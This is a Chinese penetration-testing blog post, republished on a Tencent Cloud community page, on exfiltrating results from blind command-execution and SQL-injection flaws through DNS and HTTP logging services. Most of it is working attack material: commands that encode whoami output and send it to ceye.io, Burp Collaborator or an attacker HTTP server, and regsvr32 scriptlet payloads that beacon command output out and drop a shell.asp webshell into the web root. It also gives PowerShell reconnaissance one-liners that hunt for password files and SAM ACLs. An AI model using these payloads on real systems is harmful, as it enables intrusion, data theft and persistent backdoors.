前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >命令执行/SQL盲注无回显外带方式

命令执行/SQL盲注无回显外带方式

作者头像
潇湘信安
发布于 2022-09-14 13:50:31
发布于 2022-09-14 13:50:31
2.5K00
代码可运行
举报
文章被收录于专栏:潇湘信安潇湘信安
运行总次数:0
代码可运行

0x01 前言

渗透测试中我们时常会遇到一些无回显的场景,如常见的:SQL盲注、命令执行、XSS、SSRF、Blind XXE等漏洞,这时就需要利用第三方dnslog/httplog平台才能将数据和命令执行结果外带出来。

这篇文章我们主要以命令执行漏洞为例来介绍几个常用的数据外带平台和方式,不会再去细讲每个漏洞的外带利用方式,因为写的师傅太多了,想了解的可以自己去百度搜索相关资料学习下吧。

0x02 Dnslog

常用dnslog平台:dnslog.cndig.pmceye.io,各有利弊吧。当然,如果大家不想用这些免费的也可以通过以下几个开源项目去自行搭建。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://github.com/SPuerBRead/Bridge
https://github.com/lanyi1998/DNSlog-GO
https://github.com/yumusb/DNSLog-Platform-Golang

dnslog、dig两个平台都仅支持DNS,而且默认只能展示几条数据,dig可以通过F12展示多条数据。

而ceye不仅支持dnslog,还支持httplog,可以展示多页数据,所以推荐使用CEYE。

Base64编码写文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2

HTTP外带执行结果:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
for /F %i in ('type temp2') do ping -n -1 %i.***.ceye.io

0x03 Httplog

httplog这种方式可同时探测DNS和HTTP是否都能出网?CEYE、Burp Collaborator都行,如HTTP能出则大概率可以直接上线,可以用以下几条命令进行测试。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
certutil -urlcache -split -f http://***.burpcollaborator.net
powershell (Invoke-WebRequest -Uri "http://***.burpcollaborator.net")
bitsadmin /rawreturn /transfer n "http://***.burpcollaborator.net" "D\1.txt"

如果想把命令执行结果通过httplog外带出来,我们可以直接执行以下Python命令开启一个临时Web服务。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python -m SimpleHTTPServer 8888
python3 -m http.server 8888

接着我们再执行以下命令即可,外带出来的执行结果会显示在开启的Web日志中。

Base64编码写文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
whoami>temp & certutil -encode temp temp1 & findstr /L /V CERTIFICATE temp1>temp2

HTTP外带执行结果:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
for /F %i in ('type temp2') do certutil -urlcache -split -f http://192.168.1.120:8888/%i

我们也可以直接用Burp Collaborator或CEYE外带,不过有时Burp Collaborator中的HTTP、DNS可能会不通。

记得在使用Burp Collaborator前先去检查一下,确定没问题后再去执行命令进行外带。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Burp -> Burp Collaborator client
Project options -> Misc -> Run health check

如遇安全防护时也可以去尝试下@倾旋师傅“Regsvr32 ole对象”文中提到的方法,通过修改脚本文件内容来外带不同命令的执行结果,如:查看当前权限、进程/服务、文件和目录及下载文件等。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/whoami.txt scrobj.dll"

执行命令脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?XML version="1.0"?>
<scriptlet>
  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
    <script language="vbscript">
<![CDATA[
Sub getName(name)
    Dim http
  Set http = CreateObject("Msxml2.ServerXMLHTTP")
  http.open "GET","http://192.168.1.120:8888/"+name, False
  http.send
End Sub

Sub Cmd(command)
Set oShell = CreateObject("WScript.Shell")
Set Re = oShell.Exec(command)

Do While Not Re.StdOut.AtEndOfStream
  getName Re.StdOut.ReadLine()
Loop
End Sub

Cmd "whoami"
]]>
</script>
  </registration>
</scriptlet>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/down.txt scrobj.dll"

文件下载脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?XML version="1.0"?>
<scriptlet>
  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
    <script language="vbscript">
    <![CDATA[
Set Shell = CreateObject("Wscript.Shell")
Set Post = CreateObject("Msxml2.XMLHTTP")
wfolder = "C:\inetpub\wwwroot\upload\shell.asp"
Post.Open "GET","http://192.168.1.120:8888/shell.txt",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)

aGet.SaveToFile wfolder,2

    ]]>
</script>
  </registration>
</scriptlet>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wmic process call create "regsvr32 /s /n /u /i:http://192.168.1.120:8888/pslist.txt scrobj.dll"
echo base64 | base64 -d

查看进程脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?XML version="1.0"?>
<scriptlet>
  <registration progid="d08c96" classid="{cea46581-c344-4157-b891-30f358f1522d}" >
    <script language="vbscript">
<![CDATA[
Sub getName(name)
    Dim http
  Set http = CreateObject("Msxml2.ServerXMLHTTP")
  http.open "GET","http://192.168.1.120:8888/"+name, False
  http.send
End Sub

Sub Cmd(command)
Set oShell = CreateObject("WScript.Shell")
Set Re = oShell.Exec(command)

Do While Not Re.StdOut.AtEndOfStream
  getName Re.StdOut.ReadLine()
Loop
End Sub

Cmd "powershell -w hidden -c $s=Get-Process;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;"
]]>
</script>
  </registration>
</scriptlet>

其他功能命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
获取服务列表:
powershell -w hidden -c $s=Get-Service;$service ='';foreach ($n in $s){$service += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($service);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;

获取文件和目录:
powershell -w hidden -c $s=Get-ChildItem C:\inetpub\wwwroot;$process ='';foreach ($n in $s){$process += $n.Name+'|'}$Bytes = [System.Text.Encoding]::Unicode.GetBytes($process);$EncodedText =[Convert]::ToBase64String($Bytes);Write-Host $EncodedText;exit;

Get-ChildItem D:\ -Include pass.* -recurse
Get-Acl -Path HKLM:\SAM\SAM | Format-List
Get-Acl -Path C:\inetpub\wwwroot | Format-List

PowerShell模块浏览器:https://docs.microsoft.com/zh-cn/powershell/module/

文末总结:

遇到这种无回显命令执行或SQL盲注漏洞,我们可以先去看一下目标主机是否能够出网,如果不能咋们就用dnslog外带,如果可以则建议还是用httplog外带,因为httplog要比dnslog能带出的信息更多,如:查看指定文件绝对路径、指定路径下的文件/目录等等。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
MSSQL注入之无回显利用实战案例
@Tooshy丶师傅发来的一个MSSQL堆叠注入,测试中遇到一些问题,让我帮着看下能不能写Webshell或者直接反弹Shell?这个注入因存在WAF而不能直接用Sqlmap跑,所以全程都是在Burpsuite下进行测试的。
潇湘信安
2022/09/14
3.1K0
MSSQL注入之无回显利用实战案例
带外攻击OOB(RCE无回显骚思路总结)
向服务器提交一个 payload,而服务器响应给我们相关的 response 信息。大家都叫它带内攻击,这些理论的东西,我们简单理解就好,这里我们就理解成单挑通信的通道为带内攻击,也就是整个测试过程或者说是交互过程,中间没有其外部的服务器参与,只有自己和目标服务器,那么就叫带内。
枪哥四海为家
2022/03/14
6.2K0
带外攻击OOB(RCE无回显骚思路总结)
渗透技巧——从github下载文件的多种方法
已知exe文件:https://github.com/3gstudent/test/raw/master/putty.exe
用户1467662
2019/07/31
3.8K0
渗透技巧——从github下载文件的多种方法
Windows文件下载执行的15种姿势
当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢?
Bypass
2020/04/26
4K0
Windows文件下载执行的15种姿势
收集整理的23种文件下载的方式
在我们的渗透过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。
Ms08067安全实验室
2020/01/02
2.2K0
Win下终端实现文件上传和下载执行
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
全栈工程师修炼指南
2020/10/23
3.4K0
Win下终端实现文件上传和下载执行
Linux+Windows命令行终端下载指令大全
0x01 Linux 2.1 Wget 这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。 直接下载: wget http://www.sample-videos.com/video/mp4/big.mp4 后台下载: wget -b http://www.sample-videos.com/video/mp4/big.mp4 如果互联网连接出现
入门笔记
2022/06/02
2.6K0
Linux+Windows命令行终端下载指令大全
常见的windows下无文件落地攻击手法
传统的恶意软件(例如.exe)攻击感染一个系统之前会把恶意文件(例如exe)复制到目标磁盘中并修改注册表并连接到此文件来达到一个长期隐藏的目的,无文件落地攻击是指即不向磁盘写入可执行文件,而是以脚本形式存在计算机中的注册表子项目中,以此来躲避杀软的检测,那么绕过了传统防病毒(AV)寻找被保存到磁盘上的文件并扫描这些文件以确定它们是否恶意的查杀方法。
黑白天安全
2021/03/16
6.4K0
常见的windows下无文件落地攻击手法
MSSQL注入之无回显利用思路
前段时间在先知社区里看到“一次另类的mssql渗透之路”一文:一个MSSQL高权限注入点,可通过xp_cmdshell执行命令,但是没有回显信息。
潇湘信安
2022/09/14
4K0
MSSQL注入之无回显利用思路
渗透技巧 | Windows上传并执行恶意代码的N种姿势
简介 在各种钓鱼、挖矿、勒索、组建僵尸网络、基础渗透、后渗透过程当中,攻击者都会通过一些方法去下载执行恶意代码并执行完成攻击操作,比如前段时间通过Office DDE执行powershell的,利用宏执行VBS的,绕过权限限制完成危险命令执行的等等,都需要用到文件下载/上传姿势,一般说按照途径可以分为: 通过HTTP、FTP URL进行传输类 通过UNC进行传输类 通过磁盘写入类 而payload执行则具体可以分为有文件类和无文件类,具体分的话就是内存执行、本地缓存、磁盘文件下面我们
xfkxfk
2018/03/29
4K0
渗透技巧 | Windows上传并执行恶意代码的N种姿势
免杀技巧-执行系统命令方式总结
“在渗透测试中,常常会遇到这种情况,上传一个shell上去,连上,却发现无法调用cmd.exe无法执行系统命令,这时候你往往想着,上传一个自己的cmd.exe上去,这是一套行云流水的操作,但把环境条件在变得苛刻一点,杀毒软件将监视二进制文件,例如cmd.exe,那么你会怎么做才能逃避检测?那么接下来就会介绍一些免杀思路。”
Gamma实验室
2020/12/23
1.6K0
免杀技巧-执行系统命令方式总结
通过命令下载执行恶意代码的几种姿势
在渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。
Bypass
2020/08/27
2.3K0
windows命令执行防御规避总结
通过sip劫持对恶意代码签名获得系统信任https://github.com/secretsquirrel/SigThief
drunk_kk
2021/11/12
8220
浅谈非PE的攻击技巧
背景 近日,金山毒霸安全中心捕获到一例利用邮件传播的非PE样本,类型为lnk快捷方式文件,执行后会下载勒索病毒,最终会加密用户机器上的文档、图片、视频等重要文件。 引言 攻击者,通过社工(社会工程),
FB客服
2018/03/01
1.8K0
浅谈非PE的攻击技巧
红队常用命令
如下编码网站: https://ares-x.com/tools/runtime-exec/ https://r0yanx.com/tools/java_exec_encode/ https://www.bugku.net/runtime-exec-payloads/
reyeye
2023/10/13
3.5K0
记一次mykings&暗云挖矿木马的排查与解决
之前有一台做测试的Windows server2012阿里云服务器的防火墙关掉之后开机总是启动,想了很多办法也没找到原因就提了工单问了售后,结果售后也没发现问题,并提示我服务器中病毒了,赶紧查看云监控,发现有一个进程的CPU一直占用很高,进程名称叫lsma12.exe
没有故事的陈师傅
2020/02/18
3K0
记一次mykings&暗云挖矿木马的排查与解决
[干货] - 红队渗透小技巧
有一段时间没有写文章了,也不知写什么,毕竟从攻击方换成防守方,乙方换到甲方,还有些许不适应。。。但还是决定把自己接触渗透所积累的东西也拿出分享,不管糟粕,还是大伙觉得我分享的有用(那阿鑫自然是很开心),希望能帮到还在学习路上的朋友,文章若有错误,请及时联系我指出,我也不想误导才学习的朋友。此外,本文为口嗨文,基本在说思路,没有实操。
drunk_kk
2021/07/23
1.5K0
[干货] - 红队渗透小技巧
渗透测试与开发技巧
https://github.com/3gstudent/Pentest-and-Development-Tips
天钧
2021/01/05
4.7K0
渗透测试常规操作记录(下)
Linux 操作系统&内核版本&环境变量 >cat /etc/issue >cat /etc/*-release >cat /etc/lsb-release >cat /etc/redhat-release cat /proc/version >uname -a >uname -mrs >rpm -q kernel >dmesg | grep Linux >ls /boot | grep vmlinuz- >cat /etc/profile >cat /etc/bashrc >cat ~/.bash_pr
天钧
2020/10/23
5.8K0
渗透测试常规操作记录(下)
实战 | 记一次邮件系统C段引发的SQL手注和内网渗透
要日,就日一波大的。日个小站就结束了也不太好意思(水文章),于是乎就在各种搜索引擎上搜了起来。
HACK学习
2023/01/03
1.2K0
实战 | 记一次邮件系统C段引发的SQL手注和内网渗透
相关推荐
MSSQL注入之无回显利用实战案例
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验